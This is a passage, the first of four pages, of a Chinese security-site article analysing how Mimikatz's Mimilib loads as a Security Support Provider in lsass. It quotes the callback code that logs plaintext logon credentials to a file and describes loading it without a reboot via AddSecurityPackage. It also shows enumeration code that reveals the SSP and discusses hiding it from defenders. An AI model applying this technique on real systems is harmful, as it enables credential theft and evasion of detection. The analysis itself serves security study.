欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

深入分析Mimikatz:SSP

来源:本站整理 作者:佚名 时间:2019-06-11 TAG: 我要投稿

在前一篇文章中,我们开始深入分析Mimikatz。我们的想法很简单,就是想澄清Mimikatz内部的工作原理,以便开发自定义和有针对性的payload。微软引入了一些安全控制机制(如Credential Guard),避免攻击者转储凭据信息。在本文中,我们将回顾一下绕过这种机制的巧妙方法,然后提取我们所需的凭据。这里我们想要分析的是Mimikatz所支持的SSP功能。
SSP(Security Support Provider)是一个DLL,允许开发者提供一些回调函数,以便在特定认证和授权事件期间调用。在前一篇文章中,我们可以了解到WDigest正是使用这个接口来缓存凭据。
Mimikatz为我们提供了利用SSP的其他一些不同技术。首先是“Mimilib”,这是具备各种功能的一个DLL,其中一个功能就是实现了SSP接口。其次是“memssp”,这是完成相同任务的另一种有趣方式,但这种方法需要patch内存,而不是单单加载DLL那么简单。
首先试一下以传统方式来加载SSP:Mimilib。
备注:与前一篇文章相同,本文大量用到了Mimikatz源代码,Mimikatz开发人员在这上面花了大量精力。感谢Mimikatz、Benjamin Delpy以及Vincent Le Toux的杰出工作。
 
0x01 Mimilib
Mimilib就像变色龙一样,支持利用ServerLevelPluginDll来通过RPC进行横向移动、DHCP Server Callout,甚至也可以作为WinDBG扩展。在本文中,我们主要关注的是这个库如何充当SSP角色,使攻击者能在受害者输入凭据时提取到目标信息。
系统在调用SSP时,会通过SSP接口传递明文凭据,这意味着我们可以提取到明文凭据,这也是Mimilib的理论基础。Mimilib SSP功能的入口点位于kssp.c中的kssp_SpLsaModeInitialize函数。DLL通过mimilib.def定义文件,将该函数导出为SpLsaModeInitialize,lsass会使用该函数来初始化包含多个回调的一个结构体。
Mimilib注册的回调函数包括:
SpInitialize:用来初始化SSP,提供一个函数指针列表。
SpShutDown:卸载SSP时就会被调用,以便释放资源。
SpGetInfoFn:提供SSP相关信息,包括版本、名称以及描述。
SpAcceptCredentials:接收LSA传递的明文凭据,以便SSP缓存。
如果大家看过上一篇文章,就知道WDigest会使用SpAcceptCredentials来缓存凭据,这也是多年来我们一直能成功提取凭据的切入点。
了解这些背景后,Mimilib所需要做的就是在SpAcceptCredentials被调用后保存传入的明文凭据,这正是kssp_SpAcceptCredentials的代码逻辑,如下所示:
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
    if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
    {   
        klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\%wZ (%wZ)t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
        klog_password(kssp_logfile, &PrimaryCredentials->Password);
        klog(kssp_logfile, L"n");
        fclose(kssp_logfile);
    }
    return STATUS_SUCCESS;
}
现在我不相信mimikatz.exe能够直接加载Mimilib,但根据微软的官方文档,我们可以添加注册表项、重启系统就能添加SSP。
然而经过一番搜索后,我找到了一则推文:

这里直接提到了AddSecurityPackage这个API,@mattifestation在Install-SSP.ps1脚本中利用这个API来加载SSP。这意味着实际上我们可以在不重启的情况下添加Mimilib。当添加成功后,我们发现每次进行身份认证时,凭据信息都会被写入kiwissp.log文件中。

现在在目标环境中使用SSP有一个缺点,那就是我们必须在lsass中注册SSP,这样我们就不得不留下一些踪迹,比如创建与SSP有关的注册表、或者在lsass进程中留下异常的DLL,防御方可以有针对性地跟踪我们的恶意行为。此外,SSP还会对外公开名称以及注释,可以使用EnumerateSecurityPackages来枚举这些信息,如下所示:
#define SECURITY_WIN32
#include
#include
#include
int main(int argc, char **argv) {
    ULONG packageCount = 0;
    PSecPkgInfoA packages;
    if (EnumerateSecurityPackagesA(&packageCount, &packages) == SEC_E_OK) {
        for (int i = 0; i printf("Name: %snComment: %snn", packages[i].Name, packages[i].Comment);
        }
    }
}
如下图所示,输出结果中包含已加载每个SSP的相关信息,其中大家可能会注意到有Mimilib的身影:

那么我们是否可以采取一些隐蔽措施呢?最明显的应该就是修改Mimilib中SpGetInfo回调函数所返回的描述信息,这些信息被硬编码在代码中,如下所示:

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载